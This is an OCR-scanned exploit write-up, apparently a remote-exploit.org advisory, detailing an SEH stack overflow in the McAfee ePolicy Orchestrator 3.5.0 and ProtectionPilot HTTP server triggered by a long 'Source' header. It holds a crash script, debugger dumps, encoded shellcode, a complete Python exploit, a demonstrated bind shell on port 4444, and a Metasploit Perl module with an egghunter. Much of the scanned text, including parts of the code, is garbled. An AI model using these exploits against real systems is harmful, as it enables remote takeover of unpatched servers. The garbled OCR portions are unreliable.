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-PUBLIC-

What is McAfee Epolicy 3.5.0 / McAfee® ProtectionPilot ?

McAfee® ePolicy Orchestrator® is a security management solution that gives you a
coordinated defense against malicious threats and attacks. As your central hub, you can keep
protection up to date; configure and enforce protection policies; and monitor security status

from one centralized console.

McAfee® ProtectionPilot™ makes it easy for you to keep your threat protection up to date. It
keeps a constant watch on your network, automatically updating your systems without
intervention. It’s a simple way to deploy, monitor, and manage security for desktops, servers,

and e-mail.

Where’s the Problem ?

The McAfee HTTP server does not filter user input properly, and crashes once a "Source"
HTTP header of 50-100 characters is sent. The following python script will crash the server with
the resulting CPU registers:

#!/usr/bin/python

import socket

import os

import sys

shellcode = "\xCC"*1500

Guid_Buffer="\x41"*100

Source_Buffer= "a" * 96 + "\x42\x42\x42\x42" +"\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )

print "[+] Connecting to "+sys.argv[l]

expl.connect ( ( sys.argv[l], 81 ) )

print "[+] Sending Evil Buffer\n"
expl.send ( '"GET /spipe/pkg HTTP/1.0\r\n \
User—-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
AgentGuid="+Guid_Buffer+'\r\n \
Source="+Source_Buffer+'\r\n\r\n\r\n")

expl.close ()

print "[+] Payload Sent."
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| Registers (FPU)
ERAX 44444444
ECx Bz0FFaF4
EDx BZ0FFa0B
EEX BOAERAEG
ESF B20FF&sC
EBF @Z0FF1A4 ASCII ""O0ODDODDODDODDODON
ESI BEBESC31
EDI Bz0DFFz23D

EIF £8417FSD naisp32.668417F30

8@ ES 8823 32bit BIFFFFFFFF]
@ CS BolB 22bit BIFFFFFFFF)
8 55 8823 32bit B(FFFFFFFF)
@ 05 BEz23 32bit BLFFFFFFFF]
8 FS 8838 22bit PFFASGBBIFFF)
g G5 Baed MULL
a

LastErr ERROR_SUCCESS (888608686
EFL Baaaazez (HOo,HNE,HNE,R,HS,PO,GE, G)
5TH empty 8.
5T1 empty
ST2 empty
ST2 empty
ST4 emptu
STS empty
STe empty
STV empty

2RODDEEE
DERODDEDEE

2218 ESF U
FST B@AA Cond B B B B Err B A @ A
FCW 827F Prec MEAR,S52 HMask 11

Figure 1
%% SEH chain of thread 00€ - 10| x|
Address |SE handler -
BZ20FF194 42424242
hd
Figure 2

As Olly suggests, this is a vanilla SEH overflow. After pressing F9, we should see the EIP
address change to our "\x42\x42\x42\x42" string (Figure 3) .
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Registers (FPLI < £ %
ERX @20FEDYLC

ECx 42424242

EDx 77F951BE ntdll.77F951BE

EEX 820FF194 ASCII "aaasBBBEDDODODDOODODDDODDDDDDDODN
ESP 820FECE4
EEBF Gz20FED&4
ESI 8z2DFEDAR4
EDI 82DFF23D

EIP 42424242

C 8 ES 8623 32bit B(FFFFFFFF)
P 1 CS BaA1lEB 22bit BI(FFFFFFFF)
A @ S5 8823 32bit BIFFFFFFFF)
¢ 1 DS 8823 32bit BIFFFFFFFF)
S B FS5 BE3B 32bit FFFASEEBIFFF)
E 3 G5 8888 HULL
0 8 LastErr ERROR_SUCCESS [Q8EE0EGEE)
EFL Beoasz246 (MO, NE,E,BE,MS,PE,GE,LE)
ST empty 8.8
STl empty 8.8
ST2 empty 8.8
ST2 empty 8.8
ST4 empty 6.8
STS empty H.8
STE empty H.8
STV empty 8.8
2218 ESPUDODZDI
FST BB08 Cond @ B B @ Err 88 0 B B8O B8 8 (GT)
FCW 827F Prec MEAR,S53 HMask 111111
Figure 3

Notice that EBX points to some of our user input (as can be seen in the memory dump — Figure
4). In order to land in our shellcode, we will need to perform a short jump over the SE handler,
into our shellcode.

However after further examination, we find out that we have limited space for our shellcode
~157 bytes. Ironically, the basic Metasploit "calc.exe" shellcode requires 164 bytes, with the
default encoder
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OllyDbg - NAIMSERY.EXE

Fnle Yiew Debug Plugins ©Options Window Help

=10x]

¥ CPU - thread DDODDTEC
<
- B20FEDTC
| 42424242
7PF951B6 ntdll.7PFI51B6
B2DEF19% ASCII "aaa3BEEE00DO0DDOOOODODDODDDODD0DD0DD0DDD00DC
@20FECE4
' A2DFEDG4
GZ0F EDA4
B2DFF220
EIP 4242424z
C @ ES @823 32bit @(FFFFFFFF)
F1 CS5 @alB 32bit @(FFFFFFFF)
A @ S5 823 32bit A(FFFFFEFF)
Z 1 DS 9623 32bit G(FFFFFEFF)
S @ FS @38 22bit FFFASEEA(FFF)
| T 2GS 0608 NULL
Ak = |Ualye Comment m RETURN to ntdll.77FEEErE
ot e B LS EELﬂzﬁglég next SEH record GZ0FECEL 4| ASCIT *532sEEEE0000000D0DDODDDODOD
BZDFF19C| 44444444 SEOPECHY getrenco
BZDFF 1AG| 44444444 LA S B L) ER ot )
B20FF1A4| 44444444 = LFo _EDFFi_‘} Pointer to next SEH record
CSDEF1AC| 44444444 @2DFED@A| @2DFF194[ ASCII "aa3aBEEE00DD0DDDDDDDDDDODDDI
BZ0FF 1EG| 44444444 St et Aot ) SHBENED o
G20FF1E4| 44444444 gﬁBEEBSE ELE?E%IEE RETURH to ntdll.77F95168 from ntdl
St dd b ety gy G20FED16|| B20FF194| ASCIT "aa2aBEEE00000D0000OODDOODOD
BZDFF1CE| 44444444 02DFED14)| B2DFEDCO
G2DFF 1C4| 44444444 e EIE |etee
BEDOFF1CE| 44444444 20FEDza| | B20FF230
G20FF1CC| 44444444 az0FEDZ2A| ] B20FF230
GZ0FF 106 44444444 920FED24|| BABESCS1
BZ0FF104| 44444444 J B2DFED28) | B2DFEDA4
G20FF 102| 44444444 @20FEDZC| | 80261560
G20FF10C| 44444444 Az0FED3A(] B2DFEEDG e
"JLGFFIEE‘ 44444444 E"_‘DFED 24 _,ﬂF:lﬁlgl ntdll .L;F‘;‘El 91
|Al::cess violation when executing [424242421 - use Shift+F7/F3/F9 ta pass aumhan to proaram [ | Paused
Figure 4
g
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Solving the limited buffer problem

After browsing the memory dump we find our original HTTP GET request, at 0x02dff098

OllyDbg - NAIMSERY.EXE ' =10l x|

File View Debug Plugins Options Window Help

Sl x| wjn] wijv] ¥ 1 W + L|E[M|T|W]H|c|/|K|B|R|..| 5| iE[E]?]

[d cPU - thread 000007EC :

a | Registers (FFU) < < & < <
—"'I'E'Lhﬁ:ED?C
_| ECH 42424242
¥ 7PFSS1EE ntdll.77FSE1EE
¥ BB2DFEFE1IS4 ASCII "a=aaaBEEEE000CCODDDDDCODDDDDDDDDODODDDDODODOOC
B20FECE4
G20FEDGY
@20FEDA4
B20FF22D
42424242
C @ ES 0623 it @(FFFFFFFF)
P 1 CS @G1E it G(FFFFFFFF)
R B 55 8623 it B(FFFFFFFF)
21 S Baz it BIFFFFFFFF)
S @ FS @@3E 22bit TFFASEOELFFF)
YAT @ S 88688 HULL
[

’IEE!EEEEE!!"?15?§EEﬁﬁiTEE?TFﬁ?'
ggg;?;; ggéggBSB B = H20FECES| Bz0DFEDA4
BEOFFE7E | BBS46199 B2DFECEC| @2DFF194(ASCII
GZDFFO7E | GOEEOEEG BZOFECFE| OZDFEDCO
020FFa20| 98340190 =] BEEUEL S
BZ0FFA%4 | BEEREERD | FEE L Paiies
GE0FFG22 | BERRREGE @20FECFC| 77F9S1B&| SE hand
AEOFFEaC | BERERE1S B20FEDBE| BzDFF194| ASCIT ™
GZ0FFR90G | B20FFeDD A20FED@4| FAZDFEDSC
G20FFG04 | BODFEGF4 trj;-:-:DFEDg:ES_ .r-'LF'ﬁElr‘zU RETLURM
@2DFFB93| @3AA1SCH) ASCIT "GET “spipespka HTTP/1.8J8 sUser-Agents Mozillas4.@ e | S0CEDTE | D8RR 04| pacrr »
G20F FOSC | DEEEREEE o A | S e B
G20FFORG | B3AR3CS3| ASCIT "ARARRRRRARARARRRRARARARRRRAARRARRRARARRARARARARARRRRRA | JEDEEDT A DEDEEDLD
B20FFER4 | BBEEEEEE A2DFEDLC
BZ0FFEAE | POEERRED G2DFEDIC
GZ0FFAAC | BEEGEEGE _| o ey
GZ0FFEEG | BAROOBEE 920FED24| | BABESC3]
GZ0FFAE | BOBEEEAE cladion | Lot aan
GZ0FFOES | BEBOAAHG DEOFEDEL || Boncd 509
020F FOEL | 980aeRER ||| e .
GZ0FFACH| EE6REEE e : o
AZTIFFArA | ARARARAR BZDFEDSE : -

[Accﬂs violation when executing [42424242] - uge Shift+F7/F8/F3 to paszs exception to program I [ Faused

Figure 5

This GET request holds our entire original buffer — about 1300-1400 bytes of it — more than
enough, even for the most creative shellcode. However, how can we get to that buffer ? Simply
jumping to the GET request would be meaningless, as we CPU would encounter the
hexadecimal values of the letters G E and T.
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Here's the corresponding memory dump, showing the original GET request :

Address |Hex du ASCII T
BoAR1S04 |ae 95 EE Z0 2F 7o 70 60 r0 65 ZF 7D 6B 67 20 4% sspipespka H —
BShA1204)S4 54 S8 2F 21 2E 26 6D 8A 26 @2 5 ¥2 65 TTP-1.8.. .User-
GE0A12E4 | 41 67 &5 6E T4 2A 26 4D &6F ¥A &9 &C &C &1 Agent: Mozillasd
B2AA12F4|2E 20 28 28 63 6F 6D 7B 61 74 69 62 &C &5 8 (compatible;
H3AA1964| 53 58 49 BEA 45 2F 21 2E 38 80 8R 28 83 41 SFIPE-1.8.,. .RAge
HZAAL1=Z14|6E 74 47 Y5 69 64 20 41 41 41 41 41 41 41 ntGu Ld=ARRARRARRRA
H3AA1924(41 41 41 41/ 41 41 41 41 41 41 41 41| 41 41 AHAARARRARRARARRAARRRA
B2RA1Z24(41 41 41 41 41 41 41 41 41 41 41 41 41 41 ARAARARARAAARRARA
B3aE1944) 41 41 41 41 41 41 41 41 41 41 41 41 41 41 FHEARRBARAARBAREA
95551954 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AEARABARAAREAREA
FaAA1954) 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ﬂﬂﬂﬂnnﬂﬂﬁﬂﬂﬂﬂﬂnﬂ
HZAA12741 41 41 41 41 41 41 41 41 41 41 41 80 8A 28 HARAARARARAAR. . .
B3AA1234|6F 75 Y2 63|65 3D &1 61|61 61 61 6161 61 Gurce-aaaaaaaaaa
A=AA1994161 61 61 6161 61 &1 61 61 61 &1 61 &1 &1 83533353333335835
BsaA19A4) 61 61 61 61 61 61 &1 &1 61 61 &1 61 &1 &1 5333333333333333
B30H1%B4/61 &1 61 €1 61 61 61 &1 &1 &1 61 61 &1 &1 233333a3azzaaaaa
BzAA12C4)1 61 61 61 61 61 61 61 61 61 61 &1 61 61 61 5333333333333333
B=ZAA1204| 51 61 61 &1 61 61 &1 61 61 &1 61 61 &1 &1
HZAAL1ZE4| 61 61 61 61 61 61 42 42 42 42 44 44 44 44 ‘| aaaaaaEEEEEEEEEE "
H2RA1ZF4 1 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDDDDODODDDDD
G30A1A04 [ 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00000DDDOD0DDDDD
HEAR1HL4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 oooDDOoODDDDDDDDOD
AEAR1Azd | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ooooDoDDDDDDDDODD
AZAA1AZ4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ooooDDDODODDDDDDD
ASFAALIRS | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OODDDDDDDODODDDDD
HZRALES4 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDDDDOODDDDD
HERAIREY | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDEDDDDODDDDD
GE0A1ATY | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OooDDODDDDDDDDDD
B2EH1R54 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DooDDDDOODODoDODD
F2AA1A%4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ooooDDDDDDDDDDODD
AZAALIAARY 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ODODDDDDDODDDDDD
ASFAALEES | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OODODDDDODODODDDDD
HEFRAIECY | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDDDDODDDDDD
G3AA1A04| 44 44 44 44 44 44 44 44 44 44 44 44 44 44 0DODDDODDODDODDD
BSHA1RES | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DoDDDDDOODCDoDODD
FZOP1AF4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ooooDDDDDDDDDDOD
A2AR1EG4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 LoooDODOODCDODOD
AZAALELS | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OODDDDDDDODDDDDD
GZAA1EZ4 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ODOODDDODDDDDDDD
G3001E24| 44 44 44 44 44 44 44 44 44 44 44 44 44 44 0DODDDDDDODDODDD
HoHH1E44 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DoOoDDDOOOCOoDODD
H2OH1EE4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ooooDDDDDDDDDDODD
u ARlEed | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OooODODOOOODODOD
SHEIETVS | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OOODDDODDODODDDDD
B 4H1EH4 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OODDDDDODODODDDDD
HERA1EZ4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDDDDODODDDDD
HSHH1ERY | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 0ooDDDDODDCDoDDD
HEAR1EES | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 0oooDoDDDDDDDDODD
A2AR1ECY | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 LoooDoDOOoCDODODD
BSﬂﬁiEDd 44 44 44 44 44 44 44 44 44 44 44 44 44 44 0D0DDDODDODDDDDD
SHEIEE4 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OODDDDDODODODDDDD
ﬁ SHEIEFS | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDDDDODODDDDD
GI001C04| 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00DDODDODO0DDDDD
BoaE1C14 ) 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OooDDODDDDDDDDDD
pfg@13;4 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OooDDDDDDDDDDDODD
quHlLd 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OoooDDDDDODDDDDDD
SHEICAS | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 OODODDDOODODODDDDD
B FEICEY | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DODDDDDDDODODDDDD
GI0A1CE4| 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00DDDDDODO0DDDDD
BSEHICTS 44 44 44 44 44 44 44 44 44 44 44 44 44 44 ODoDDODODDDDDDDD
H2EA1C54 | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 oooDDOoDDDDDDDDODD
AEAA1C94 ) 44 44 44 44 44 44 44 44 44 44 44 44 44 44 000DDDODODO0DD0D, §
ASEE1CHES | 44 44 44 44 44 44 44 44 44 44 44 44 44 44 m“
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After a few liters of coffee, and waaay too much sugar, we decided to use our initial 157 bytes
of shellcode to patch the GET request currently in memory, and replace the G and E characters
with a short jump. After this was done, we could then jump to the modified GET request in
memory, land on the newly placed short jump, and subsequently end up in our "Source" buffer
(shellcode).

Notice that:

0x02dff194 (EBX pointer) - 0x02dff098 (location of GET request) = OxFC

The above operation translates to the following CPU instructions (and machine code):

8B83 04FFFFFF MOV EAX,DWORD PTR DS:[EBX-FC]
C700 EB559090 MOV DWORD PTR DS:[EAX],909055EB
FF93 O04FFFFFF CALL DWORD PTR DS:[EBX-FC]

This raw shellcode contains a null terminator, and other filtered characters. Using the
Metasploit payload encoder, we encode our 1ststage shellcode, and end up with:

$ ./msfencode -i jmp2 -e Pex -t c

[*] Using Msf::Encoder::Pex with final size of 44 bytes
"\x33\xc9\x83\xe9\xfb\xe8\xff\Xff\Xff\xff\xc0\x5e\x81\x76\x0e\x5d"
"\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
"\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xbd\xc5""'
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We summarize everything into the following code:

#!/usr/bin/python
import socket
import os

import sys

# Using Msf::Encoder::Pex with final size of 44 bytes

# 8B83 04FFFFFEF MOV EAX,DWORD PTR DS: [EBX-FC]

# C700 EB559090 MOV DWORD PTR DS:[EAX],909055EB

# FF93 O4FFFFFF CALL DWORD PTR DS: [EBX-FC]

scl = "\x33\xc9\x83\xe9\xfb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d"
scl +="\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
scl +="\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5"

shellcode = "\xCC"*1500

Guid_Buffer="\x41"*100

# 0x77e6f2a3 - JMP EBX - User32.dll Windows 2000 Server SP4
Source_Buffer="a"*92+"\xeb\x08\x90\x90"+"\xa3\xf2\xe6\x77"+"\x90"*8+scl+ "\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )

print "[+] Connecting to "+sys.argv[1l]
expl.connect ( ( sys.argv[l], 81 ) )

print "[+] Sending Evil Buffer\n"
expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \

User—-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
AgentGuid="+Guid_Buffer+'\r\n \
Source="+Source_Buffer+'\r\n\r\n\r\n'")

expl.close ()

print "[+] Payload Sent.

If all is well, the exploit should now land in our breakpoints ("xCC" x 1500).

0]
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All that's left to do now is replace our 1400 breakpoints, with live, snarling, shell binding
shellcode — to give the following result:

C:\>exploit.py 192.168.59.130

[+] Connecting to 192.168.59.130

[+] Sending Evil Buffer

[+] Payload Sent - check for shell on port 4444
C:\>nc -nv 192.168.59.130 4444

(UNKNOWN) [192.168.59.130] 4444 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>ipconfig

ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain

IP Address. . . . . . . . . . . . : 192.168.59.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.59.2

C:\WINNT\system32>

10
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Exploit code

Note that the final Metasploit module uses an egghunter, rather than patching the GET request.

This file is part of the Metasploit Framework and may be redistributed
according to the licenses defined in the Authors field below. In the
case of an unknown or missing license, this file defaults to the same
license as the core Framework (dual GPLv2 and Artistic). The latest
version of the Framework can always be obtained from metasploit.com.

#

S oHE S e HE o 3

package Msf::Exploit::mcafee_epolicy_source;
use base "Msf::Exploit";

use strict;

use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'McAfee ePolicy Orchestrator / ProtPilot Source Overflow',
'Version' => 'S$Revision: 1.0 $',
'"Authors' =>
[
'muts <muts [at] remote-exploit.org>"',
'xbxice[at]yahoo.com',
'H D Moore <hdm [at] metasploit.com>'
1,
'Arch' => [ 'x86' 1],
'os! => [ 'win32', 'win2000', 'win2003' ],
'"Priv' => 0,
'"AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 81],
'SSL! => [0, 'BOOL', 'Use SSL'I],

}l

'Payload' =>
{

# Space is almost unlimited, but 1024 is fine for now

'Space’ => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x26\x2b\x3d\x25\x8c\x3c\xff",
'Keys' => ['+ws2ord'],
}l
'Description' => Pex::Text::Freeform(qgg{

This is a stack overflow exploit for McAfee ePolicy Orchestrator 3.5.0
and ProtectionPilot 1.1.0. Tested on Windows 2000 SP4 and Windows 2003 SP1.
This module is based on the exploit by xbxice and muts.

'Refs' =>
[
['URL', 'http://www.remote-exploit.org/advisories/mcafee-epo.pdf' ],
1,

'DefaultTarget' => 0,
'Targets' =>

[

['Windows 2000/2003 ePo 3.5.0/ProtectionPilot 1.1.0', 96, 0x601EDBDA], # pop pop ret xmlutil.dll

:| 4
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'Keys' => ['epo'l,
'DisclosureDate' => 'Jgul 17 2006',
}i
sub new ({
my S$class = shift;

'Advanced’

my $self Sclass->SUPER:
return($self);

:new ({'Info' => $info, => S$advanced},

@_);
}

sub Exploit {

my $self shift;

my S$target_host = $self->GetVar ('RHOST');

my Starget_port = $self->GetVar ('RPORT');

my S$Starget_idx = $self->GetVar ('TARGET');

my $shellcode = $self->GetVar ('EncodedPayload')->Payload;
my S$target = $self->Targets->[S$target_idx];

# Use a egghunter stub to find the payload

my S$eggtag = Pex::Text::AlphaNumText (4);

my $egghunt =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02"
"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
$eggtag
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";

# Create the 64-byte GUID
my S$guid Pex::Text::AlphaNumText (64) ;

# Create the 260 byte Source header
my S$evil Pex::Text::AlphaNumText (260) ;

A long Source header results in a handful of exceptions.
The first exception occurs with a pointer at offset 116.
This exception occurs because a function pointer is
dereferenced from the overwritten data and then called:
naisp32!'naSPIPE_MainWorkFunc+0x3ed:

mov ecx, [eax+0x270] (eax is offset 116)

push ecx

call [eax+0x26cC]

When this happens, the first SEH in the chain is also

overwritten at offset 96,
in our code being called.

so the exception results
If we knew of an address

in memory that pointed to our shellcode,

we could

avoid the SEH completely and use the above call to
execute our code. This is actually practical, since
we can upload almost arbitrary amounts of data into
the heap and then overwrite the function pointer above.

This method is left as an excercise to the reader.

This module will use the SEH overwrite with a pop/pop/ret or

a jmp/call ebx (2000 only) to gain control of execution. This
removes the need for a large data upload and should result in
reliable execution without the need to brute force.

Since the SEH method only leaves ~140 bytes of contiguous
shellcode space, we use an egghunter to find the real
payload that we stuffed into the heap as POST data.

S oHE SR e SR SE SR SR SE SR SE SR SE SR SR SE SR SR SE SR e SR SE SE S e SR SE HE S

#

substr ($evil,

Trigger the exception by passing a bad pointer
Starget—->[1] + 20, 4, Pex::Text::AlphaNumText (3)."\xff");

# Return to pop/pop/ret or equivalent

substr ($evil, S$target->[1], 4, pack('V', Starget->[2]));
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-PUBLIC-

# Jump to the egghunter
substr ($evil, S$target->[1] - 4, 2, "\xeb\xla");

# Egghunter has 140 bytes of room to work

substr ($evil, $target->[1] + 24, length($egghunt), $egghunt);

# Create our post data containing the shellcode
my $data = Pex::Text::AlphaNumText (int (rand(500)+32));

# Embed the search tag and shellcode
Sdata .= (Seggtag x 2) . $shellcode;

# Add some extra padding
Sdata .= Pex::Text::AlphaNumText (int (rand(500)+32));

my $req = "GET /spipe/pkg HTTP/1.0\r\n";

Sreq .="User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n";

Sreq .="Content-Length: ". length($data). "\r\n";
Sreq .="AgentGuid=${guid}\r\n";

Sreq .="Source=${evil}\r\n";

Sreq .= "\r\n";

Sreq .= S$data;

$self->PrintLine(sprintf ("[*] Trying ".S$target->[0]." using 0x%.8x...",

my $s = Msf::Socket::Tcp->new
(

'PeerAddr' => S$target_host,
'PeerPort' => S$target_port,
'LocalPort' => $self->GetVar ('CPORT'),
'SSL' => $self->GetVar ('SSL'),

) i

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: '
return;

}
$s->Send (Sreq) ;

$self->PrintLine("[*] Waiting up to two minutes for the
$s—>Recv (-1, 120);

$self->Handler (S$s) ;

$s->Close;

return;

$s—>GetError) ;

egghunter...");

Starget->[21));

13

http://www.remote-exploit.org




